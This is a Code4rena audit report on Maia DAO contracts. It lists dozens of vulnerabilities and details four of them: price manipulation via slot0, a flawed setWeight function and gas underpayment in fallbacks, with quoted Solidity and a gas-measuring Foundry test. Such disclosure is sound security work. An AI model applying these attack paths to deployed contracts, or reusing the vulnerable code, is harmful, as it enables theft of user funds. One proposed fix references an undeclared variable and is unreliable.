Maia DAO Ecosystem
Findings & Analysis Report
2023-09-18
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] If a STRATEGY TOKEN is “Toggled off” STRATEGIES will still be able to withdraw, but returning of tokens with
replenishReserves
will be disabled. - [H-02] Use of
slot0
to getsqrtPriceLimitX96
can lead to price manipulation. - [H-03]
setWeight()
Logic error - [H-04]
MIN_FALLBACK_RESERVE
(inBranchBridgeAgent
) doesn’t consider the actual gas consumption inAnyCall
contracts, which lets the user underpay the actual cost when replenishing the execution budget - [H-05] Multiple issues with decimal scaling will cause incorrect accounting of hTokens and underlying tokens
- [H-06]
withdrawProtocolFees()
Possible malicious or accidental withdrawal of all rewards - [H-07]
redeem()
inbeforeRedeem
is using the wrong owner parameter - [H-08] Due to inadequate checks, an adversary can call
BranchBridgeAgent#retrieveDeposit
with an invalid_depositNonce
, which would lead to a loss of other users’ deposits. - [H-09]
RootBridgeAgent->CheckParamsLib#checkParams
does not check that_dParams.token
is underlying of_dParams.hToken
- [H-10]
TalosBaseStrategy#init()
lacks slippage protection - [H-11] An attacker can steal Accumulated Awards from
RootBridgeAgent
by abusingretrySettlement()
- [H-12] An attacker can mint an arbitrary amount of
hToken
onRootChain
- [H-13] Re-adding a deprecated gauge in a new epoch before calling
updatePeriod()
/queueRewardsForCycle()
will leave some gauges without rewards - [H-14] User may underpay for the remote call
ExecutionGas
on the root chain - [H-15] The difference between
gasLeft
andgasAfterTransfer
is greater thanTRANSFER_OVERHEAD
, causinganyExecute
to always fail - [H-16] Overpaying remaining gas to the user for failing
anyExecute
call due to an incorrect gas unit calculation inBranchBridgeAgent
- [H-17] Second per liquidity inside could overflow
uint256
causing the LP position to be locked inUniswapV3Staker
- [H-18] Reentrancy attack possible on
RootBridgeAgent.retrySettlement()
with missing access control forRootBridgeAgentFactory.createBridgeAgent()
- [H-19] An attacker can exploit the “deposit” to drain the
Ulysess Liquidity Pool
- [H-20] A user can bypass bandwidth limit by repeatedly “balancing” the pool
- [H-21] Missing the unwrapping of native token in
RootBridgeAgent.sweep()
causes fees to be stuck - [H-22] Multiple issues with
retrySettlement()
andretrieveDeposit()
will cause loss of users’ bridging deposits - [H-23] An attacker can redeposit gas after
forceRevert()
to freeze all deposited gas budget ofRoot Bridge Agent
- [H-24] A malicious user can set any contract as a local
hToken
for an underlying token since there is no access control for_addLocalToken
- [H-25]
UlyssesToken
asset ID accounting error - [H-26] Accessing the incorrect offset to get the nonce when a flag is 0x06 in
RootBridgeAgent::anyExecute()
will lead to marked as executed incorrect nonces and could potentially cause a DoS - [H-27] Lack of a return value handing in
ArbitrumBranchBridgeAgent._performCall()
could cause users’ deposit to be locked in contract - [H-28] Removing a
BribeFlywheel
from a Gauge does not remove the reward asset from the rewards depo, making it impossible to add a new Flywheel with the same reward token - [H-29] A malicious user can front-run Gauges’s call
addBribeFlywheel
to steal bribe rewards - [H-30] Incorrect flow of adding liquidity in
UlyssesRouter.sol
- [H-31] On Ulysses omnichain -
RetrieveDeposit
might never be able to trigger theFallback
function - [H-32] Incorrectly reading the offset from the received data parameter to get the
depositNonce
in theBranchBridgeAgent::anyFallback()
function - [H-33]
BaseV2Minter
DAO reward shares are calculated wrong - [H-34] Cross-chain messaging via
Anycall
will fail - [H-35]
Rerange
/rebalance
should not useprotocolFee
as an asset for adding liquidity
- [H-01] If a STRATEGY TOKEN is “Toggled off” STRATEGIES will still be able to withdraw, but returning of tokens with
-
- [M-01] Although
ERC20Boost.decrementGaugesBoostIndexed
function would require the user to remove all of their boosts from a deprecated gauge at once, such a user can instead callERC20Boost.decrementGaugeBoost
function multiple times to utilize such deprecated gauge and decrement itsuserGaugeBoost
- [M-02] Slippage controls for calling
bHermes
contract’sERC4626DepositOnly.deposit
andERC4626DepositOnly.mint
functions are missing - [M-03]
RootBridgeAgent.redeemSettlement
can be front-run usingRootBridgeAgent.retrySettlement
, causing redeem to DoS - [M-04] Many
create
methods are suspicious of the reorg attack - [M-05] Replenishing gas is missing in
_payFallbackGas
ofRootBridgeAgent
- [M-06]
migratePartnerVault()
in the first vault does not work properly - [M-07]
vMaia
Lacks of override inforfeitBoost
- [M-08]
updatePeriod()
has less minting ofHERMES
- [M-09]
_decrementWeightUntilFree()
has a possible infinite loop - [M-10] The user is enforced to overpay for the
fallback
gas when callingretryDeposit
- [M-11] Depositing gas through
depositGasAnycallConfig
should not withdraw thenativeToken
- [M-12] When the
anyExecute
call is made toRootBridgeAgent
with adepositNonce
that has been recorded inexecutionHistory
,initialGas
anduserFeeInfo
will not be updated, which would affect the next caller ofretrySettlement
. - [M-13] In
ERC20Boost.sol
, a user can beattached
to a gauge and have no boost balance. - [M-14]
BoostAggregator
owner can set fees to 100% and steal all of the user’s rewards - [M-15]
BranchBridgeAgent._normalizeDecimalsMultiple
will always revert because of the lack of allocating memory - [M-16]
vMaia
is ERC-4626 compliant, but themaxWithdraw
&maxRedeem
functions are not fully up to EIP-4626’s specification - [M-17] Protocol fees can become trapped indefinitely inside the Talos vault contracts
- [M-18] A lack of slippage protection can lead to a significant loss of user funds
- [M-19] The
RestakeToken
function is not permissionless - [M-20] Some functions in the Talos contracts do not allow user to supply
slippage
anddeadline
, which may cause swap revert - [M-21] Removing more gauge weight than it should be while transferring
ERC20Gauges
token - [M-22] Maia Governance token balance dilution in
vMaia
vault is breaking the conversion rate mechanism - [M-23] Claiming outstanding utility tokens from
vMaia
vault DoS onpbHermes<>bHermes
conversion rate>
1 - [M-24] Unstaking
vMAIA
tokens on the first Tuesday of the month can be offset - [M-25] Wrong consideration of
blockformation
period causes incorrectvotingPeriod
andvotingDelay
calculations - [M-26] If
HERMES
gauge rewards are not queued for distribution every week, they are slashed - [M-27] Ulysses omnichain - User Funds can get locked permanently via making a callout without deposit
- [M-28] Ulysses omnichain -
addbridgeagentfactory
inrootPort
is not functional - [M-29]
BribesFactory::createBribeFlywheel
can be completely blocked from creating anyFlywheel
by a malicious actor - [M-30] A user can call
callOutSigned
without paying for gas by reenteringanyExecute
with Virtual Account - [M-31] Incorrect accounting logic for
fallback
gas will lead to insolvency - [M-32]
VirtualAccount
cannot directly send native tokens - [M-33]
unstakeAndWithdraw
insideBoostAggregator
could losependingRewards
in certain cases - [M-34]
UlyssesToken.setWeights(...)
can cause user loss of assets on vault deposits/withdrawals - [M-35] Removing a
UniswapV3Gauge
viaUniswapV3GaugeFactory
does not actually remove it from theUniswapV3Staker
. The gauge still gains rewards and can be staked too (even though deprecated). Plus old stakers can game the rewards of new stakers - [M-36]
ERC4626PartnerManager.checkTransfer
does not checkamount
correctly, as it appliesbHermesRate
tobalanceOf[from]
, but notamount
. - [M-37] Branch Strategies lose yield due to wrong implementation of time limit in
BranchPort.sol
- [M-38] DoS of
RootBridgeAgent
due to missing negation of return values forUniswapV3Pool.swap()
- [M-39]
ERC4626PartnerManager.sol
mints extrapartnerGovernance
tokens to itself, resulting in over supply of governance token - [M-40] Governance relies on the current
totalSupply
ofbHermes
when calculatingproposalThresholdAmount
andquorumVotesAmount
- [M-41] Inconsistencies in reading the encoded parameters received in the
_sParams
argument inBranchBridgeAgent::clearTokens()
- [M-42]
UlyssesPool.sol
does not matchEIP4626
because of the preview functions - [M-43] Deploy flow of
Talos
is broken - [M-44] Improper array initialization causes an index “out of bounds” error
- [M-01] Although
-
Low Risk and Non-Critical Issues
- Low Risk Summary
- Non-Critical Summary
- L-01 There may be problems with the use of
Layer2
- L-02 Head overflow bug in
Calldata
Tuple ABI-Reencoding - L-03 There is a risk that a user with a high governance power will not be able to bid with
propose()
- L-04 Migrating with “migratePartnerVault()” may result in a loss of user funds
- L-05 Project Upgrade and Stop Scenario should be added
- L-06 Project has a security risk from DAO attack using the proposal
- L-07 The first ERC4626 deposit exploit can break a share calculation
- L-08 Missing Event for
initialize
- L-09 Missing a
maxwithdraw
check in the withdraw function of ERC-4626 - L-10 Processing of
poolId
andtokenId
incorrectly starts with a “2” instead of a “1” - L-11 If
onlyOwner
runsrenounceOwnership()
in thePartnerManagerFactory
contract, the contract may become unavailable - L-13 Contract
ERC4626.sol
is used as a dependency; does not track upstream changes - L-14 Use ERC-5143: Slippage Protection for Tokenized Vault
- N-01 Unused Imports
- N-02
Assembly
codes, specifically, should have comments - N-03 With
0 address
control ofowner
, it is a best practice to maintain consistency across the entire codebase - N-04
DIVISIONER
is inconsistent across contracts - N-05 The
nonce
architecture of thedelegateBySig()
function isn’t usefull - N-06 Does not
event-emit
during significant parameter changes
-
- G‑01 Avoid contract existence checks by using low level calls
- G-02 Massive 15k per tx gas savings - use 1 and 2 for Reentrancy guard
- G-03 Avoid emitting storage values
- G-04 Using
>
0 costs more gas than!=
0 when used on a uint in arequire()
statement - G-05 Can make the variable outside of the loop to save gas
- G-06 Structs can be packed into fewer storage slots
- G-07 Make 3 event parameters indexed when possible
- G-08
>=
costs less gas than>
- G-09 Expressions for constant values, such as a call to
keccak256()
, should use immutable rather than constant - G-10 Using
private
rather thanpublic
for constants, saves gas - G-11 Do not calculate constants
- G-12 State variables should be cached in stack variables rather than re-reading them from storage
- G‑13 Add unchecked
{}
for subtractions where the operands cannot underflow because of a previousrequire()
orif-statement
- G-14
abi.encode()
is less efficient thanabi.encodePacked()
- G-15 Use constants instead of
type(uintx).max
- G-16 Use hardcode address instead of
address(this)
- G-17 A modifier used only once and not being inherited should be inlined to save gas
- G-18 Using a delete statement can save gas
- G-19 Amounts should be checked for
0
before calling a transfer - G-20 Use assembly to hash instead of solidity
- G-21 Loop best practice to save gas
- G-22Gas savings can be achieved by changing the model for assigning value to the structure
- G-23 Use
assembly
for math (add, sub, mul, div) - G-24 Access mappings directly rather than using accessor functions
- G-25 Internal functions that are not called by the contract should be removed to save deployment gas
- G-26 Use mappings instead of arrays
- G-27 Use
Short-Circuiting
rules to your advantage - G-28 Use
ERC721A
insteadERC721
- Audit Analysis
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Maia DAO Ecosystem smart contract system written in Solidity. The audit took place between May 30 - July 5 2023.
Wardens
85 Wardens contributed reports to the Maia DAO Ecosystem:
- xuwinnie
- Koolex
- Voyvoda (alexxander, deadrxsezzz and gogo)
- bin2chen
- 0xStalin
- Emmanuel
- ABA
- peakbolt
- T1MOH
- ltyu
- yellowBirdy
- zzebra83
- minhquanym
- lukejohn
- said
- 0xTheC0der
- rbserver
- Evo
- AlexCzm
- tsvetanovv
- BPZ (Bitcoinfever244, PrasadLak and zinc42)
- kutugu
- Breeje
- jasonxiale
- ByteBandits (Cryptor, berlin-101 and sakshamguruji)
- Noro
- kodyvim
- Audinarey
- loschicos (0xadrii, [Saintcode](https://code4rena.com/@Saintcode_) and ljmanini)
- giovannidisiena
- RED-LOTUS-REACH (BlockChomper, DedOhWale, SaharDevep, reentrant and escrow)
- SpicyMeatball
- chaduke
- Udsen
- MohammedRizwan
- Verichains (LowK, th13vn, nt and lifebow)
- KupiaSec
- shealtielanz
- IllIllI
- max10afternoon
- KingNFT
- Madalad
- Fulum
- Josiah
- 0x4non
- 0xnev
- btk
- 0xMilenov
- ihtishamsudo
- lsaudit
- zzzitron
- Atree
- BLOS
- its_basu
- Kamil-Chmielewski
- peanuts
- 0xSmartContract
- BugBusters (nirlin and 0xepley)
- Co0nan
- LokiThe5th
- ubermensch
- adeolu
- nadin
- Kaiziron
- Qeew
- brgltd
- 0xCiphky
- Oxsadeeq
- 8olidity
This audit was judged by Trust.
Final report assembled by thebrittfactor.
Summary
The C4 analysis yielded an aggregated total of 79 unique vulnerabilities. Of these vulnerabilities, 35 received a risk rating in the category of HIGH severity and 44 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 21 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 27 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Maia DAO Ecosystem repository, and is composed of 154 smart contracts written in the Solidity programming language and includes 10,997 lines of Solidity code.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (35)
[H-01] If a STRATEGY TOKEN is “Toggled off” STRATEGIES will still be able to withdraw, but returning of tokens with replenishReserves
will be disabled.
Submitted by yellowBirdy
Lines of code
Impact
BranchPort.manage
allows a registered Strategy to withdraw certain amounts of enabled strategy tokens. It validates access rights; i.e. if called by a strategy registered for the requested token. However, it doesn’t check to see if the token itself is currently enabled.
Conversely, BranchPort.replenishTokens
allows a forced withdrawal of managed tokens from a strategy. However, it performs a check to see if the token is currently an active strategy token.
A strategy token may be disabled by toggleStrategyToken()
even if there are active strategies managing it actively. In such cases, these strategies will still be able to withdraw the tokens with calls to manage()
while replenishTokens
will not be callable on them; thus, tokens won’t be forced as returnable.
Recommended Mitigation Steps
- Add a check on the enabled strategy token in
manage()
. - Validate
getPortStrategyTokenDebt[_strategy][_token] > 0
instead of!isStrategyToken[_token]
inreplenishReserves()
.
Assessed type
Access Control
Addressed here.
[H-02] Use of slot0
to get sqrtPriceLimitX96
can lead to price manipulation.
Submitted by shealtielanz, also found by Breeje, 0xStalin, xuwinnie, RED-LOTUS-REACH, 0xnev, and kutugu
In RootBrigdeAgent.sol
, the functions _gasSwapOut
and _gasSwapIn
use UniswapV3.slot0
to get the value of sqrtPriceX96
, which is used to perform the swap. However, the sqrtPriceX96
is pulled from Uniswap.slot0
, which is the most recent data point and can be manipulated easily via MEV
bots and Flashloans
with sandwich attacks; which can cause the loss of funds when interacting with the Uniswap.swap
function.
Proof of Concept
You can see the _gasSwapIn
function in RootBrigdeAgent.sol
here:
//Get sqrtPriceX96
(uint160 sqrtPriceX96,,,,,,) = IUniswapV3Pool(poolAddress).slot0();
// Calculate Price limit depending on pre-set price impact
uint160 exactSqrtPriceImpact = (sqrtPriceX96 * (priceImpactPercentage / 2)) / GLOBAL_DIVISIONER;
//Get limit
uint160 sqrtPriceLimitX96 =
zeroForOneOnInflow ? sqrtPriceX96 - exactSqrtPriceImpact : sqrtPriceX96 + exactSqrtPriceImpact;
//Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit
try IUniswapV3Pool(poolAddress).swap(
address(this),
zeroForOneOnInflow,
int256(_amount),
sqrtPriceLimitX96,
abi.encode(SwapCallbackData({tokenIn: gasTokenGlobalAddress}))
You can also see the _gasSwapOut
function in RootBrigdeAgent.sol
here.
(uint160 sqrtPriceX96,,,,,,) = IUniswapV3Pool(poolAddress).slot0();
// Calculate Price limit depending on pre-set price impact
uint160 exactSqrtPriceImpact = (sqrtPriceX96 * (priceImpactPercentage / 2)) / GLOBAL_DIVISIONER;
//Get limit
sqrtPriceLimitX96 =
zeroForOneOnInflow ? sqrtPriceX96 + exactSqrtPriceImpact : sqrtPriceX96 - exactSqrtPriceImpact;
}
//Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit
(int256 amount0, int256 amount1) = IUniswapV3Pool(poolAddress).swap(
address(this),
!zeroForOneOnInflow,
int256(_amount),
sqrtPriceLimitX96,
abi.encode(SwapCallbackData({tokenIn: address(wrappedNativeToken)}))
);
These both use the function sqrtPriceX96
pulled from Uniswap.slot0
. An attacker can simply manipulate the sqrtPriceX96
and if the Uniswap.swap
function is called with the sqrtPriceX96
, the token will be bought at a higher price and the attacker would run the transaction to sell; thereby earning gains but causing a loss of funds to whoever called those functions.
Recommended Mitigation Steps
Use the TWAP
function to get the value of sqrtPriceX96
.
Assessed type
MEV
0xBugsy (Maia) acknowledged, but disagreed with severity
Due to a risk of material loss of funds and the only condition for abuse is being able to sandwich a TX, high seems appropriate.
0xBugsy (Maia) confirmed and commented:
We recognize the audit’s findings on Anycall Gas Management. These will not be rectified due to the upcoming migration of this section to LayerZero.
[H-03] setWeight()
Logic error
Submitted by bin2chen, also found by Udsen, BPZ, lukejohn (1, 2), and ltyu (1, 2, 3)
Lines of code
Proof of Concept
setWeight()
is used to set the new weight. The code is as follows:
function setWeight(uint256 poolId, uint8 weight) external nonReentrant onlyOwner {
if (weight == 0) revert InvalidWeight();
uint256 poolIndex = destinations[poolId];
if (poolIndex == 0) revert NotUlyssesLP();
uint256 oldRebalancingFee;
for (uint256 i = 1; i < bandwidthStateList.length; i++) {
uint256 targetBandwidth = totalSupply.mulDiv(bandwidthStateList[i].weight, totalWeights);
oldRebalancingFee += _calculateRebalancingFee(bandwidthStateList[i].bandwidth, targetBandwidth, false);
}
uint256 oldTotalWeights = totalWeights;
uint256 weightsWithoutPool = oldTotalWeights - bandwidthStateList[poolIndex].weight;
uint256 newTotalWeights = weightsWithoutPool + weight;
totalWeights = newTotalWeights;
if (totalWeights > MAX_TOTAL_WEIGHT || oldTotalWeights == newTotalWeights) {
revert InvalidWeight();
}
uint256 leftOverBandwidth;
BandwidthState storage poolState = bandwidthStateList[poolIndex];
poolState.weight = weight;
@> if (oldTotalWeights > newTotalWeights) {
for (uint256 i = 1; i < bandwidthStateList.length;) {
if (i != poolIndex) {
uint256 oldBandwidth = bandwidthStateList[i].bandwidth;
if (oldBandwidth > 0) {
bandwidthStateList[i].bandwidth =
oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
leftOverBandwidth += oldBandwidth - bandwidthStateList[i].bandwidth;
}
}
unchecked {
++i;
}
}
poolState.bandwidth += leftOverBandwidth.toUint248();
} else {
uint256 oldBandwidth = poolState.bandwidth;
if (oldBandwidth > 0) {
@> poolState.bandwidth = oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
leftOverBandwidth += oldBandwidth - poolState.bandwidth;
}
for (uint256 i = 1; i < bandwidthStateList.length;) {
if (i != poolIndex) {
if (i == bandwidthStateList.length - 1) {
@> bandwidthStateList[i].bandwidth += leftOverBandwidth.toUint248();
} else if (leftOverBandwidth > 0) {
@> bandwidthStateList[i].bandwidth +=
@> leftOverBandwidth.mulDiv(bandwidthStateList[i].weight, weightsWithoutPool).toUint248();
}
}
unchecked {
++i;
}
}
}
There are several problems with the above code:
if (oldTotalWeights > newTotalWeights)
should be changed toif (oldTotalWeights < newTotalWeights)
because the logic inside of theif
is to calculate the case of increasingweight
.poolState.bandwidth = oldBandwidth.mulDivUp(oldTotalWeights , newTotalWeights).toUint248();
should be modified topoolState.bandwidth = oldBandwidth.mulDivUp(newTotalWeights, oldTotalWeights).toUint248();
because this calculates with the extra number.leftOverBandwidth
has a problem with the processing logic.
Recommended Mitigation Steps
function setWeight(uint256 poolId, uint8 weight) external nonReentrant onlyOwner {
...
- if (oldTotalWeights > newTotalWeights) {
+ if (oldTotalWeights < newTotalWeights) {
for (uint256 i = 1; i < bandwidthStateList.length;) {
if (i != poolIndex) {
uint256 oldBandwidth = bandwidthStateList[i].bandwidth;
if (oldBandwidth > 0) {
bandwidthStateList[i].bandwidth =
oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
leftOverBandwidth += oldBandwidth - bandwidthStateList[i].bandwidth;
}
}
unchecked {
++i;
}
}
poolState.bandwidth += leftOverBandwidth.toUint248();
} else {
uint256 oldBandwidth = poolState.bandwidth;
if (oldBandwidth > 0) {
- poolState.bandwidth = oldBandwidth.mulDivUp(oldTotalWeights, newTotalWeights).toUint248();
+ poolState.bandwidth = oldBandwidth.mulDivUp(newTotalWeights, oldTotalWeights).toUint248();
leftOverBandwidth += oldBandwidth - poolState.bandwidth;
}
+ uint256 currentGiveWidth = 0;
+ uint256 currentGiveCount = 0;
for (uint256 i = 1; i < bandwidthStateList.length;) {
+ if (i != poolIndex) {
+ if(currentGiveCount == bandwidthStateList.length - 2 - 1) { //last
+ bandwidthStateList[i].bandwidth += leftOverBandwidth - currentGiveWidth;
+ }
+ uint256 sharesWidth = leftOverBandwidth.mulDiv(bandwidthStateList[i].weight, weightsWithoutPool).toUint248();
+ bandwidthStateList[i].bandwidth += sharesWidth;
+ currentGiveWidth +=sharesWidth;
+ currentCount++;
+ }
- if (i != poolIndex) {
- if (i == bandwidthStateList.length - 1) {
- bandwidthStateList[i].bandwidth += leftOverBandwidth.toUint248();
- } else if (leftOverBandwidth > 0) {
- bandwidthStateList[i].bandwidth +=
- leftOverBandwidth.mulDiv(bandwidthStateList[i].weight, weightsWithoutPool).toUint248();
- }
- }
unchecked {
++i;
}
}
}
...
Assessed type
Context
Trust (judge) increased the severity to High
We recognize the audit’s findings on Ulysses AMM. These will not be rectified due to the upcoming migration of this section to Balancer Stable Pools.
[H-04] MIN_FALLBACK_RESERVE
(in BranchBridgeAgent
) doesn’t consider the actual gas consumption in AnyCall
contracts, which lets the user underpay the actual cost when replenishing the execution budget
Submitted by Koolex
anyFallback
method is called by the Anycall Executor
on the source chain in case of a failure of the function anyExecute
on the root chain. The user has to pay for the execution gas cost for this, which is done at the end of the call. However, if there is not enough depositedGas
, the anyFallback
method will be reverted, due to a revert caused by the Anycall Executor
. This shouldn’t happen since the depositor deposited at least the MIN_FALLBACK_RESERVE
(185_000
) in the first place.
Here is the calculation for the gas used when anyFallback
is called:
//Save gas
uint256 gasLeft = gasleft();
//Get Branch Environment Execution Cost
uint256 minExecCost = tx.gasprice * (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);
//Check if sufficient balance
if (minExecCost > getDeposit[_depositNonce].depositedGas) {
_forceRevert();
return;
}
_forceRevert
will withdraw all of the execution budget:
// Withdraw all execution gas budget from anycall for tx to revert with "no enough budget"
if (executionBudget > 0) try anycallConfig.withdraw(executionBudget) {} catch {}
So Anycall Executor
will revert if there is not enough budget. This is done at:
uint256 budget = executionBudget[_from];
require(budget > totalCost, "no enough budget");
executionBudget[_from] = budget - totalCost;
(1) Gas Calculation in our anyFallback
and in AnyCall
contracts:
To calculate how much the user has to pay, the following formula is used:
//Get Branch Environment Execution Cost
uint256 minExecCost = tx.gasprice * (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);
Gas units are calculated as follows:
- Store
gasleft()
atinitialGas
at the beginning ofanyFallback
method:
//Get Initial Gas Checkpoint
uint256 initialGas = gasleft();
- Nearly at the end of the method, deduct
gasleft()
frominitialGas
. This covers everything between the initial gas checkpoint and the ending gas checkpoint.
//Save gas
uint256 gasLeft = gasleft();
//Get Branch Environment Execution Cost
uint256 minExecCost = tx.gasprice * (MIN_FALLBACK_RESERVE + _initialGas - gasLeft);
- Add
MIN_FALLBACK_RESERVE
which is185_000
.
This overhead is supposed to cover:
100_000
foranycall
. This is extra cost required byAnycall
.
Line:38
uint256 constant EXECUTION_OVERHEAD = 100000;
.
.
Line:203
uint256 gasUsed = _prevGasLeft + EXECUTION_OVERHEAD - gasleft();
85_000
for our fallback execution. For example, this is used to cover the modifierrequiresExecutor
and to cover everything after the end gas checkpoint.
If we check how much this would actually cost, we can find it nearly 70_000
. So, 85_000
is safe enough. A PoC is also provided to prove this. However, there is an overhead of gas usage in the Anycall
contracts that’s not considered, which is different than the 100_000
extra that’s required by AnyCall
anyway (see above).
This means, the user is paying less than the actual cost. According to the sponsor, Bridge Agent deployer deposits the first time into anycallConfig
, where the goal is to replenish the execution budget after use every time.
The issue leads to:
- execution budget is decreasing over time (slow draining) in case it has funds already.
- anyExecute call will fail since the calculation of the gas used in the
Anycall
contracts is bigger than the minimum reserve. InAnycall
, this is done by the modifierchargeDestFee
. -
Modifier
chargeDestFee
:modifier chargeDestFee(address _from, uint256 _flags) { if (_isSet(_flags, AnycallFlags.FLAG_PAY_FEE_ON_DEST)) { uint256 _prevGasLeft = gasleft(); _; IAnycallConfig(config).chargeFeeOnDestChain(_from, _prevGasLeft); } else { _; } }
-
Function
chargeFeeOnDestChain
:function chargeFeeOnDestChain(address _from, uint256 _prevGasLeft) external onlyAnycallContract { if (!_isSet(mode, FREE_MODE)) { uint256 gasUsed = _prevGasLeft + EXECUTION_OVERHEAD - gasleft(); uint256 totalCost = gasUsed * (tx.gasprice + _feeData.premium); uint256 budget = executionBudget[_from]; require(budget > totalCost, "no enough budget"); executionBudget[_from] = budget - totalCost; _feeData.accruedFees += uint128(totalCost); } }
The gas consumption of anyExec
method called by the MPC (in AnyCall
) here:
function anyExec(
address _to,
bytes calldata _data,
string calldata _appID,
RequestContext calldata _ctx,
bytes calldata _extdata
)
external
virtual
lock
whenNotPaused
chargeDestFee(_to, _ctx.flags) // <= starting from here
onlyMPC
{
.
.
.
bool success = _execute(_to, _data, _ctx, _extdata);
.
.
}
The gas is nearly 110_000
and is not taken into account; as proven in the PoCs.
(2) Base Fee & Input Data Fee:
From Ethereum yellow paper:
Gtransaction
- 21000 Paid for every transaction.
Gtxdatazero
- 4 Paid for every zero byte of data or code for a transaction.
Gtxdatanonzero
- 16 Paid for every non-zero byte of data or code for a transaction.
So:
- We have
21_000
as the base fee. This should be taken into account; however, it is paid byAnyCall
since the TX is sent by MPC. So, we are fine here. This probably explains the overhead (100_000
) added byanycall
. - Because the
anyFallback
method has bytes data to be passed, we have extra gas consumption which is not taken into account.
For every zero byte =>
4
For every non-zero byte =>
16
So generally speaking, the bigger the data is, the bigger the gas becomes. You can simply prove this by adding arbitrary data to the anyFallback
method in the PoC #1 test below. You will also see the gas spent increases.
Summary
MIN_FALLBACK_RESERVE
is safe enough, without considering theanyExec
method (check next point).- The gas consumed by the
anyExec
method called by the MPC is not considered. - The input data fee isn’t taken into account.
There are two PoCs proving the first two points above. The third point can be proven by simply adding arbitrary data to the anyFallback
method in the PoC #1 test.
Note: this is also applicable for RootBridgeAgent
, which I avoided writing a separate issue for it since the code for _payFallbackGas
is almost the same. However, those 3 statements don’t exist in RootBridgeAgent._payFallbackGas
.
//Withdraw Gas
IPort(localPortAddress).withdraw(address(this), address(wrappedNativeToken), minExecCost);
//Unwrap Gas
wrappedNativeToken.withdraw(minExecCost);
//Replenish Gas
_replenishGas(minExecCost);
So, the gas spent is even less and 55_000
(from 155_000
in MIN_FALLBACK_RESERVE
of RootBridgeAgent
) is safe enough. But, the second two points are still not taken into account in RootBridgeAgent
(see above).
Proof of Concept #1
MIN_FALLBACK_RESERVE
is safe enough.
Note: estimation doesn’t consider anyExec
method’s actual cost.
Overview
This PoC is independent from the codebase (but uses the same code). There are two contracts simulating BranchBridgeAgent.anyFallback
:
- BranchBridgeAgent, which has the code of the pre-first gas checkpoint and the post-last gas checkpoint.
- BranchBridgeAgentEmpty, which has the code of the pre-first gas checkpoint and the post-last gas checkpoint commented out.
We’ll run the same test for both, but the difference in gas is what’s at least nearly the minimum required to cover the pre-first gas checkpoint and the post-last gas checkpoint.
In this case here, it is 70_090
which is smaller than 85_000
. So, we are fine.
Here is the output of the test:
[PASS] test_calcgas() (gas: 143835)
Logs:
branchBridgeAgent.anyFallback Gas Spent => 71993
[PASS] test_calcgasEmpty() (gas: 73734)
Logs:
branchBridgeAgentEmpty.anyFallback Gas Spent => 1903
Test result: ok. 2 passed; 0 failed; finished in 2.08ms
71_993 - 1903
= 70_090
Explanation
BranchBridgeAgent.anyFallback
method depends on the following external calls:
AnycallExecutor.context()
AnycallProxy.config()
AnycallConfig.executionBudget()
AnycallConfig.withdraw()
AnycallConfig.deposit()
WETH9.withdraw()
BranchPort.withdraw()
For this reason, I’ve copied the same code from multichain-smart-contracts. For WETH9
, I’ve used the contract from the codebase which has minimal code. For BranchPort
, I copied from the codebase.
Note: For libraries, unused methods were removed. This is because I couldn’t submit the report, as it gave the error “too long body”. However, it doesn’t affect the gas spent
Please note that:
- tx.gasprice is replaced with a fixed value in the
_payFallbackGas
method, as it is not available in Foundry. - In
_replenishGas
, reading the config viaIAnycallProxy(local
AnyCallAddress).config()
is replaced with animmediate
call for simplicity. In other words, avoiding proxy to make the PoC simpler and shorter. However, if done with proxy, the gas used would increase. So in both ways, it is in favor of the PoC.
The coded PoC
Foundry.toml
[profile.default]
solc = '0.8.17'
src = 'solidity'
test = 'solidity/test'
out = 'out'
libs = ['lib']
fuzz_runs = 1000
optimizer_runs = 10_000
.gitmodules
[submodule "lib/ds-test"]
path = lib/ds-test
url = https://github.com/dapphub/ds-test
branch = master
[submodule "lib/forge-std"]
path = lib/forge-std
url = https://github.com/brockelmore/forge-std
branch = master
remappings.txt
ds-test/=lib/ds-test/src
forge-std/=lib/forge-std/src
- Test File:
// PoC => Maia OmniChain: gasCalculation for anyFallback in BranchBridgeAgent
pragma solidity >=0.8.4 <0.9.0;
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
import {DSTest} from "ds-test/test.sol";
// copied from https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol
// only decimals is used
abstract contract ERC20 {
string public name;
string public symbol;
uint8 public immutable decimals;
constructor(string memory _name, string memory _symbol, uint8 _decimals) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// copied from Solady
// removed unused methods, because I couldn't submit the report with too long code
library SafeTransferLib {
/// @dev The ETH transfer has failed.
error ETHTransferFailed();
/// @dev The ERC20 `transferFrom` has failed.
error TransferFromFailed();
/// @dev The ERC20 `transfer` has failed.
error TransferFailed();
/// @dev The ERC20 `approve` has failed.
error ApproveFailed();
/// @dev Suggested gas stipend for contract receiving ETH
/// that disallows any storage writes.
uint256 internal constant _GAS_STIPEND_NO_STORAGE_WRITES = 2300;
/// @dev Suggested gas stipend for contract receiving ETH to perform a few
/// storage reads and writes, but low enough to prevent griefing.
/// Multiply by a small constant (e.g. 2), if needed.
uint256 internal constant _GAS_STIPEND_NO_GRIEF = 100000;
